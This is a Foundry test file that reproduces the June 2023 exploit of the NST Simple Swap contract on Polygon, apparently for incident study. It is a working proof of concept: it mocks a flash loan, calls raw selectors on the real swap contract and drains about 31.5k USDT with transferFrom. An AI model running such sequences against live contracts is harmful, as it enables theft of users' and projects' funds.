src/test/2023-06/NST_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.17;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// REKT - NST Simple Swap
8// Write up Author
9// https://twitter.com/eugenioclrc
10// Reported on https://discord.com/channels/1100129537603407972/1100129538056396870/1114142216923926528
11// @TX
12// https://polygonscan.com/tx/0xa1f2377fc6c24d7cd9ca084cafec29e5d5c8442a10aae4e7e304a4fbf548be6d
13// https://openchain.xyz/trace/polygon/0xa1f2377fc6c24d7cd9ca084cafec29e5d5c8442a10aae4e7e304a4fbf548be6d
14// @Summary
15// Milktech is a software company that explores Polygon web3 technologies and recently ventured into
16// tokens and token payments. They created a token called NST, which maintains a constant price based
17// on USD. Several contracts were developed, with the main one being the swap contract. This contract
18// facilitates a straightforward exchange between two tokens: NST (the internal company token) and USDT,
19// ensuring a consistent price ratio. NST is an ERC-20 token with an additional role called the Minter,
20// allowing specific addresses to mint new tokens. Only the owner of the contract can assign this
21// role. The swap contract is ownable and features two primary functions: buyNST, which takes USDT as input,
22// and sellNST, which takes NST as input. Additionally, the contract includes the ability to pause trading
23// between the tokens. While the token itself was verified, the swap contract was not.
24 
25// Exploit Address: https://polygonscan.com/address/0x3bb7a0f2fe88aba35408c64f588345481490fe93
26// Attacker Address: https://polygonscan.com/address/0xcb3585f3e09f0238a3f61838502590a23f15bb5b
27 
28contract NstExploitTest is Test {
29    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
30 
31    IERC20 usdt = IERC20(0xc2132D05D31c914a87C6611C10748AEb04B58e8F);
32    IERC20 nst = IERC20(0x83eE54ccf462255ea3Ec56Fa8dE6797d679276e7);
33 
34    address swapper = 0x9D101E71064971165Cd801E39c6B07234B65aa88;
35 
36    function setUp() public {
37        cheats.createSelectFork("polygon", 43_430_814);
38        vm.label(address(usdt), "USDT");
39        vm.label(address(nst), "NST");
40        vm.label(swapper, "swapper");
41 
42        assertEq(block.number, 43_430_814);
43    }
44 
45    function testExploit() public {
46        usdt.approve(swapper, type(uint256).max);
47        nst.approve(swapper, type(uint256).max);
48 
49        // the attacker use balancer to take a flashloan of 40k usd, im gonna mock it
50        // to make it simpler to read
51        deal(address(usdt), address(this), 40_000_000_000); // 40k usd, usdt has 6 decimals
52 
53        (bool ret, bytes memory data) = swapper.call(abi.encodeWithSelector(bytes4(0x6e41592c), 40_000_000_000));
54        require(ret, "call failed");
55        uint256 retAmount = abi.decode(data, (uint256));
56 
57        (ret, data) = swapper.call(abi.encodeWithSelector(bytes4(0x7cd0599b), retAmount));
58        require(ret, "call2 failed");
59 
60        usdt.transferFrom(swapper, address(this), 31_559_083_207);
61 
62        console.log("USDT Theft", usdt.balanceOf(address(this)) - 40_000_000_000);
63    }
64}